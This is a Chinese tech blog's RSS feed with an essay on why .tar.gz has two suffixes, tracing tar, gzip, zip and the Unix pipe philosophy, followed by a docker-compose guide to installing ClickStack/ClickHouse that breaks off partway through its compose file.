<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Nginx on 小盒子的技术分享</title><link>https://xiaobox.github.io/tags/nginx/</link><description>Recent content in Nginx on 小盒子的技术分享</description><generator>Hugo -- gohugo.io</generator><language>zh-cn</language><lastBuildDate>Mon, 13 Apr 2026 23:00:00 +0000</lastBuildDate><atom:link href="https://xiaobox.github.io/tags/nginx/index.xml" rel="self" type="application/rss+xml"/><item><title>为什么 .tar.gz 要两个后缀</title><link>https://xiaobox.github.io/p/2026-04-13-wei-shen-me-tar-gz-yao-liang-ge-hou-zhui/</link><pubDate>Mon, 13 Apr 2026 23:00:00 +0000</pubDate><guid>https://xiaobox.github.io/p/2026-04-13-wei-shen-me-tar-gz-yao-liang-ge-hou-zhui/</guid><description>&lt;img src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2026-04-13-wei-shen-me-tar-gz-yao-liang-ge-hou-zhui/cover.jpg" alt="Featured image of post 为什么 .tar.gz 要两个后缀" /&gt;&lt;p&gt;前两天我在重新编译一版 nginx。&lt;/p&gt;
&lt;p&gt;流程基本闭着眼睛都能走。&lt;code&gt;wget&lt;/code&gt; 拉下来一个 &lt;code&gt;nginx-1.27.4.tar.gz&lt;/code&gt;，&lt;code&gt;tar -xzvf&lt;/code&gt; 解开，进目录，&lt;code&gt;./configure&lt;/code&gt;，&lt;code&gt;make&lt;/code&gt;，&lt;code&gt;make install&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;敲完 tar 那条命令的一瞬间，我突然愣了一下。&lt;/p&gt;
&lt;p&gt;这个 &lt;code&gt;.tar.gz&lt;/code&gt;，两个后缀。&lt;/p&gt;
&lt;p&gt;我用了大概十几年，从来没认真想过为什么要两个。&lt;/p&gt;
&lt;p&gt;顺着这事我又想起来，我这双手对 tar 的记忆完全是肌肉记忆，&lt;code&gt;xzvf&lt;/code&gt; 这四个字母该按什么顺序，大脑是不参与的，手指自己会动。正因为是肌肉记忆，我还踩过一个经典坑，偶尔下载到没有顶层目录的 tar 包，照样一梭子解下去，几十个文件啪一下全炸到当前目录，瞬间把工作目录变成垃圾场。&lt;/p&gt;
&lt;p&gt;那种时候我一边 &lt;code&gt;ls | xargs rm&lt;/code&gt; 一边告诉自己下次一定先 &lt;code&gt;mkdir&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;但下次还是不会。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;人对每天都在用的东西是最没好奇心的。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;说回 &lt;code&gt;.tar.gz&lt;/code&gt;。这两个后缀到底是什么关系，为什么非得拆成两个。&lt;/p&gt;
&lt;p&gt;我带着这个疑问查了一圈，发现这事比我想象的有趣得多。它不是什么历史包袱，也不是约定俗成的命名习惯，它是两个时代两个工具掰着手指头拼出来的一个结果。&lt;/p&gt;
&lt;p&gt;先说 tar。&lt;/p&gt;
&lt;p&gt;tar 这个命令，最早出现在 1979 年 1 月的 Unix Version 7 里，AT&amp;amp;T 贝尔实验室做的。名字也没什么加密的缩写，就是 Tape ARchive。翻译过来，磁带归档。字面意思。&lt;/p&gt;
&lt;p&gt;你可以想象一下 1979 年。那会儿大家备份数据靠的是磁带，就是老电影里那种两个圆盘转啊转的大盘子，数据一圈一圈顺序刻在带子上。你不能跳着读，也不能中间插一段，只能从头到尾一次性过。&lt;/p&gt;
&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2026-04-13-wei-shen-me-tar-gz-yao-liang-ge-hou-zhui/001-c4cd4c83.png"&gt;&lt;/p&gt;
&lt;p&gt;tar 这个工具的出生使命，就是为了给磁带服务的。&lt;/p&gt;
&lt;p&gt;所以它做的事情特别简单，就一个动作，把一堆小文件按顺序拼成一条长长的字节流，好让磁带机一口气写下去。&lt;/p&gt;
&lt;p&gt;注意，我说的是「拼成一条流」。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;tar 压根就不压缩。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;你拿 tar 把一个 100MB 的目录打成一个包，出来的文件还是 100MB，一个字节都没省。它只是把这些东西排成一列而已，没做别的事情。&lt;/p&gt;
&lt;p&gt;tar 文件内部的最小单位是 512 字节一块，这个数字也不是随便选的。它就是 Unix V7 文件系统磁盘扇区的大小。1979 年的一个选择，刻在所有 tar 文件的基因里，一直刻到今天。 所以 tar 管的事情，就到「拼」为止。&lt;/p&gt;
&lt;p&gt;那压缩呢？&lt;/p&gt;
&lt;p&gt;tar 不管。&lt;/p&gt;
&lt;p&gt;这事儿一直到 1992 年才有人接手。&lt;/p&gt;
&lt;p&gt;那一年，两个叫 Jean-loup Gailly 和 Mark Adler 的人做了一个东西叫 gzip。Gailly 写压缩，Adler 写解压，1992 年 10 月 31 号，gzip 0.1 正式发布。&lt;/p&gt;
&lt;p&gt;这里有个背景值得一提。在 gzip 之前，Unix 自带的压缩工具叫 compress，用的是 LZW 算法。但 LZW 被 Unisys 和 IBM 捏在手里，九十年代初开始到处收钱，开源圈被整得很紧张。gzip 就是被逼出来的替代品，用的是另一个叫 DEFLATE 的算法，完美绕开了专利地雷。&lt;/p&gt;
&lt;p&gt;这段往事本身就够写一篇文章的，但今天我们只关心一个点。&lt;/p&gt;
&lt;p&gt;gzip 做的事也特别简单，就一个动作，把一条字节流压缩成一条更短的字节流。&lt;/p&gt;
&lt;p&gt;你注意到了吗？gzip 也很轴。它只认「一条流」。你不能拿 gzip 去压一个目录，它不认识目录这回事。给它一个文件，它就吐一个压缩后的文件，给它一条流，它就吐一条压缩后的流。别的事它一概不管。&lt;/p&gt;
&lt;p&gt;tar 只打包不压缩，gzip 只压缩不打包。&lt;/p&gt;
&lt;p&gt;两个工具，谁都不会干对方的活。&lt;/p&gt;
&lt;p&gt;那怎么办？&lt;/p&gt;
&lt;p&gt;中间用一根 Unix 管道粘起来。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;tar cf - mydir | gzip &amp;gt; mydir.tar.gz
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2026-04-13-wei-shen-me-tar-gz-yao-liang-ge-hou-zhui/002-1c3931bc.png"&gt;&lt;/p&gt;
&lt;p&gt;这条命令左边 tar 把 &lt;code&gt;mydir&lt;/code&gt; 打成一条流，用 &lt;code&gt;-&lt;/code&gt; 表示「别写文件，直接吐到标准输出」。中间一个 &lt;code&gt;|&lt;/code&gt;，把这条流接到 gzip 的嘴边。右边 gzip 啃完这条流，吐出一条压缩过的流，重定向到 &lt;code&gt;mydir.tar.gz&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;一个 &lt;code&gt;|&lt;/code&gt; 符号，两个工具，一条流水线。&lt;/p&gt;
&lt;p&gt;你看到的那个 &lt;code&gt;.tar.gz&lt;/code&gt;，就是这条流水线走完之后自然掉下来的结果。它的后缀之所以是两个，是因为这个文件真的经历了两道工序。第一道叫 tar，第二道叫 gz。后缀诚实地告诉你它是谁。&lt;/p&gt;
&lt;p&gt;这里顺便说一句 tar 后来的 &lt;code&gt;-z&lt;/code&gt; 参数。&lt;/p&gt;
&lt;p&gt;GNU tar 的作者们觉得每次写管道太烦，加了一个 &lt;code&gt;z&lt;/code&gt; 参数，告诉 tar，你要压缩的时候帮我顺手调一下 gzip。这就是为什么我们今天敲 &lt;code&gt;tar -xzvf&lt;/code&gt; 这个 &lt;code&gt;z&lt;/code&gt;。但你要知道，&lt;strong&gt;是 tar 在「替你调 gzip」，不是 tar 自己会压缩。四十五年过去了，tar 本体始终没长出压缩这项能力。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这个决定非常 Unix，非常硬核。&lt;/p&gt;
&lt;p&gt;有意思的是，几乎就在 tar 过着自己小日子的同一年代，大洋对岸的 DOS/Windows 世界走了完全不同的一条路。&lt;/p&gt;
&lt;p&gt;1989 年，美国程序员 Phil Katz 在 DOS 上搞出 PKZIP，顺手发明了 &lt;code&gt;.zip&lt;/code&gt; 格式。zip 跟 tar + gzip 的哲学几乎是正相反的，一个工具同时做两件事，既打包又压缩，一把梭到底。&lt;/p&gt;
&lt;p&gt;四年之后的 1993 年，另一个年轻人进场了。俄罗斯程序员 Eugene Roshal 发布命令行 RAR，1995 年又推出图形界面版 WinRAR。RAR 是 Roshal Archive 的缩写，字面意思就是「Roshal 的归档」，一个用作者自己名字命名的格式，主打比 zip 更高的压缩率。&lt;/p&gt;
&lt;p&gt;WinRAR 这个软件顺便还成了互联网历史上最著名的「永恒试用版」。它写着 40 天试用期，但过期后不会拦你，只会弹一个很客气的提示让你买 license，你关掉它接着用，下次再弹。这个 40 天续命了二十多年，全球无数人用了一辈子没付过钱，它也不生气。这事本身已经成了一个互联网梗。&lt;/p&gt;
&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2026-04-13-wei-shen-me-tar-gz-yao-liang-ge-hou-zhui/003-12bd445d.png"&gt;&lt;/p&gt;
&lt;p&gt;这一路跟 Unix 那边的区别非常明显，一个软件管到底，打包压缩全包在一个 exe 里。后来 1999 年俄罗斯人 Igor Pavlov 又搞了开源的 7-Zip，自带一个 &lt;code&gt;.7z&lt;/code&gt; 格式，压缩率再往上提一截。1996 年 Julian Seward 做的 bzip2、2009 年 Lasse Collin 做的 xz 也都先后加入了这个江湖，压缩格式的主要玩家基本就是这些人了。&lt;/p&gt;
&lt;p&gt;但你注意到一个很好玩的分化没有。&lt;/p&gt;
&lt;p&gt;bzip2 和 xz 这两个后来的家伙，在 Unix 世界里叫什么？&lt;code&gt;.tar.bz2&lt;/code&gt; 和 &lt;code&gt;.tar.xz&lt;/code&gt;。tar 先把文件拼成流，bzip2 或者 xz 接着压。&lt;strong&gt;换压缩工具可以，换哲学不行。Unix 那边认死一件事，打包和压缩必须是两件事，永远是两件事。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Windows 那边正相反，出了更强的算法，就把旧软件整个换掉，一个 exe 管到底。&lt;/p&gt;
&lt;p&gt;这已经不只是格式之争了，是两个世界对「一个工具应该长成什么样」的根本分歧。&lt;/p&gt;
&lt;p&gt;为什么 Unix 那边坚持要拆？&lt;/p&gt;
&lt;p&gt;这就得搬出 Doug McIlroy 了。&lt;/p&gt;
&lt;p&gt;1978 年，贝尔实验室的 McIlroy 在 Bell System Technical Journal 上写了一段后来被反复引用的话，核心就三句。&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;“&lt;/p&gt;
&lt;p&gt;写程序要让它们只做一件事，并且把这件事做好。&lt;/p&gt;
&lt;p&gt;写程序要让它们互相协作。&lt;/p&gt;
&lt;p&gt;处理的东西最好是文本流，因为那是通用接口。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;这就是后来被叫作 Unix 哲学的那一段。&lt;/p&gt;
&lt;p&gt;但这段话最有意思的一点，不在文字本身。在于说这话的人是谁。&lt;/p&gt;
&lt;p&gt;Doug McIlroy 不光是写这段话的人，他同时还是 Unix 管道 &lt;code&gt;|&lt;/code&gt; 这个符号的发明者。&lt;/p&gt;
&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2026-04-13-wei-shen-me-tar-gz-yao-liang-ge-hou-zhui/004-470ec597.png"&gt;&lt;/p&gt;
&lt;p&gt;你品一下这个巧合。&lt;/p&gt;
&lt;p&gt;他说「让程序互相协作」的时候，他心里想的不是什么抽象的合作，他想的就是管道。一个程序的输出，通过一根 &lt;code&gt;|&lt;/code&gt;，无缝流进下一个程序的嘴里。小工具、单一职责、用管道粘起来，组合出任意复杂的流水线。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;.tar.gz&lt;/code&gt; 就是这段话最直白的产物。&lt;/p&gt;
&lt;p&gt;tar 是第一个只做一件事的小工具，gzip 是第二个只做一件事的小工具，中间那根 &lt;code&gt;|&lt;/code&gt; 是 McIlroy 本人发明的管道。你每打一个 &lt;code&gt;.tar.gz&lt;/code&gt; 文件，都是在重演一遍 1978 年那段话。&lt;/p&gt;
&lt;p&gt;这就是为什么我说它是活化石。&lt;/p&gt;
&lt;p&gt;化石这个词听起来像是死掉的东西，但 &lt;code&gt;.tar.gz&lt;/code&gt; 不是。你今天去 GitHub 上随便点一个 C 项目的 release，下载下来的几乎永远是 &lt;code&gt;.tar.gz&lt;/code&gt;，不是 &lt;code&gt;.zip&lt;/code&gt;。Linux 内核、nginx、curl、redis，全都是。它不是因为惯性才活着，它是因为那套哲学在今天依然被认为是对的才活着。&lt;/p&gt;
&lt;p&gt;所以回到开头那个问题。&lt;/p&gt;
&lt;p&gt;为什么 &lt;code&gt;.tar.gz&lt;/code&gt; 要两个后缀？&lt;/p&gt;
&lt;p&gt;因为它不是一个文件，是两个工具排成的一条流水线，每个后缀对应一个工位。你看到的是这条流水线吐出来的结果。&lt;/p&gt;
&lt;p&gt;下次你再敲 &lt;code&gt;tar -xzvf some-thing.tar.gz&lt;/code&gt; 的时候，可以稍微多看两眼那个 &lt;code&gt;z&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;那个 &lt;code&gt;z&lt;/code&gt; 不是 tar 在解压。&lt;/p&gt;
&lt;p&gt;那是 tar 在回头喊一声 gzip，过来搭把手。&lt;/p&gt;
&lt;p&gt;两个工具，一根管道，四十五年。&lt;/p&gt;
&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2026-04-13-wei-shen-me-tar-gz-yao-liang-ge-hou-zhui/005-6c5fb0a0.png"&gt;&lt;/p&gt;</description></item><item><title>快速安装 ClickHouse</title><link>https://xiaobox.github.io/p/2025-07-17-kuai-su-an-zhuang-clickhouse/</link><pubDate>Thu, 17 Jul 2025 09:33:05 +0000</pubDate><guid>https://xiaobox.github.io/p/2025-07-17-kuai-su-an-zhuang-clickhouse/</guid><description>&lt;img src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-07-17-kuai-su-an-zhuang-clickhouse/cover.jpg" alt="Featured image of post 快速安装 ClickHouse" /&gt;&lt;h2 id="概述"&gt;&lt;a href="#%e6%a6%82%e8%bf%b0" class="header-anchor"&gt;&lt;/a&gt;概述
&lt;/h2&gt;&lt;p&gt;我们使用 docker compose 来安装 ClickHouse&lt;/p&gt;
&lt;p&gt;但我们不是裸装 ClickHouse，实际上我们安装的是 ClickStack。有点儿像 elastic-stack 与 elastic search 的关系 ，但并不完全一样。&lt;/p&gt;
&lt;p&gt;ClickStack 是基于 ClickHouse 构建的完整观察性平台，集成了日志、指标、追踪和会话回放功能，提供统一的用户界面和查询能力。因此，ClickStack 是在 ClickHouse 的基础上，结合 HyperDX 提供的前端界面和 OpenTelemetry Collector 实现的完整解决方案。它不仅仅是一个数据库，而是一个集成的观察性平台。&lt;/p&gt;
&lt;p&gt;安装步骤参考官方文档：https://clickhouse.com/docs/zh/use-cases/observability/clickstack/getting-started?loc=use-case-observability&lt;/p&gt;
&lt;h2 id="安装"&gt;&lt;a href="#%e5%ae%89%e8%a3%85" class="header-anchor"&gt;&lt;/a&gt;安装
&lt;/h2&gt;&lt;h3 id="克隆-hyperdx-仓库"&gt;&lt;a href="#%e5%85%8b%e9%9a%86-hyperdx-%e4%bb%93%e5%ba%93" class="header-anchor"&gt;&lt;/a&gt;克隆 HyperDX 仓库
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;git clone https://github.com/hyperdxio/hyperdx.git
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; hyperdx
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# switch to the v2 branch&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;git checkout v2
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;根据自身情况修改配置文件 .env&lt;/p&gt;
&lt;p&gt;我将 &lt;code&gt;HDX_IMAGE_REPO=docker.hyperdx.io&lt;/code&gt; 修改为 &lt;code&gt;HDX_IMAGE_REPO=docker.io&lt;/code&gt; 不然镜像拉不下来&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;# Used by docker-compose.yml
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;HDX_IMAGE_REPO=docker.hyperdx.io
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;IMAGE_NAME=ghcr.io/hyperdxio/hyperdx
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;IMAGE_NAME_DOCKERHUB=hyperdx/hyperdx
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;LOCAL_IMAGE_NAME=ghcr.io/hyperdxio/hyperdx-local
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;LOCAL_IMAGE_NAME_DOCKERHUB=hyperdx/hyperdx-local
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;ALL_IN_ONE_IMAGE_NAME=ghcr.io/hyperdxio/hyperdx-all-in-one
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;ALL_IN_ONE_IMAGE_NAME_DOCKERHUB=hyperdx/hyperdx-all-in-one
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;OTEL_COLLECTOR_IMAGE_NAME=ghcr.io/hyperdxio/hyperdx-otel-collector
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;OTEL_COLLECTOR_IMAGE_NAME_DOCKERHUB=hyperdx/hyperdx-otel-collector
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;CODE_VERSION=2.0.5
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;IMAGE_VERSION_SUB_TAG=.0.5
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;IMAGE_VERSION=2
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;IMAGE_NIGHTLY_TAG=2-nightly
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;IMAGE_LATEST_TAG=latest
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;# Set up domain URLs
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;HYPERDX_API_PORT=8000 #optional (should not be taken by other services)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;HYPERDX_APP_PORT=8080
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;HYPERDX_APP_URL=http://localhost
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;HYPERDX_LOG_LEVEL=debug
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;HYPERDX_OPAMP_PORT=4320
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;# Otel/Clickhouse config
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;HYPERDX_OTEL_EXPORTER_CLICKHOUSE_DATABASE=default
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="docker-compose-启动"&gt;&lt;a href="#docker-compose-%e5%90%af%e5%8a%a8" class="header-anchor"&gt;&lt;/a&gt;docker compose 启动
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;docker-compose up -d
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Docker-compose 文件如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;hdx-oss&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;services&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# ONLY USED FOR DEMO SSL SETUP&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# nginx:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# image: nginx:1.27.3&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# volumes:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# - ./docker/nginx/nginx.conf:/etc/nginx/nginx.conf&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# - ./docker/nginx/ssl:/etc/nginx/ssl&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# - .volumes/nginx_logs:/var/log/nginx&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# ports:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# - 80:80&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# - 443:443&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# networks:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# - internal&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# depends_on:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# - app&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;db&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;image&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;mongo:5.0.14-focal&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;volumes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
